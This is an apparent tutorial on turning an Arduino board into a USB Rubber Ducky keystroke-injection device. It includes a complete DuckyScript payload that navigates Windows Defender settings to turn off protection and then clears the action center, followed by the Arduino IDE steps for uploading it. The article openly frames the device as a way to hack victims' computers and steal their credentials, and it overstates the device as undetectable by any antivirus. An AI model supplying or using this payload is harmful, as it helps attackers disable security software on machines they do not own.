How To Create A Usb Rubber Ducky

USB Rubber ducky is an HID device that looks similar to a USB Pen drive. It may be used to inject keystroke into a system, used to hack a system, steal victims essential and credential data can inject payload to the victim's computers. The main important thing about USB Rubber ducky is that it cannot be detected by any Anti-Virus or Firewall as it acts as an HID device.

How To Make A USB Rubber Ducky?

Android mobiles can also be used to make a USB rubber ducky, if an Android device is rooted we may use it as a Rubber ducky device. And can perform all the operations that an original ducky can perform.

To Make USB rubber ducky from android :

Android mobile must be rooted
Kali net hunter installed on the device

In this article, we must be using some other components to create a USB Rubber Ducky at home.

Material Requirements

Arduino based board
USB connector
Arduino IDE

Step 1: First of all download Arduino IDE from the link, and install the software like any other software you install on windows.

Download and Install Arduino IDE

Step 2: Connect the Arduino board to the computer using the USB connector and open the IDE.

Step 3: Now from the Payload list choose according to your task.

Step 4: Convert the code that you have chosen to make executable in Arduino here.

Script for turning off the Windows Defender

REM turn off windows defender then clear action center REM author:geeksforgeeks REM You take responsibility for any laws you break with this, I simply point out the security flaw REM start of script REM let the HID enumerate DELAY 2000 ESCAPE DELAY 100 CONTROL ESCAPE DELAY 100 STRING Windows Defender Settings ENTER DELAY 2000 REM why TAB and HOME? TAB DELAY 50 REM why TAB and HOME?HOME DELAY 50 ALT F4 DELAY 3200 REM windows + a = ???? GUI a  DELAY 500 ENTER DELAY 100 GUI a

Convert code to executable

Step 5:In the Arduino IDE creates a new project, by clicking on File–> New project.

Create a new Project

Step 6: After converting to new code adding to the Arduino IDE, now select the board which you are using. Tools–>Board–>Your board.

Select the board

Step 7: Click on the project and choose the port, where Arduino is connected. Tools–>Port–>Your Port.

Choose the Port on Arduino

Step 8: Now when the board is connected, enter the code or payload you want to work with.

Enter the code or payload

Step 9: Now verify and compile your code. Sketch–>verify/compile.

Verify and Compile the code

Step 10: After compiling, upload the code to the Arduino device.

Upload the code to Arduino Device

Whenever you will Connect this board with any computer it works as a USB rubber ducky and executes the payload written. You can Check about USB rubber ducky in Details Here.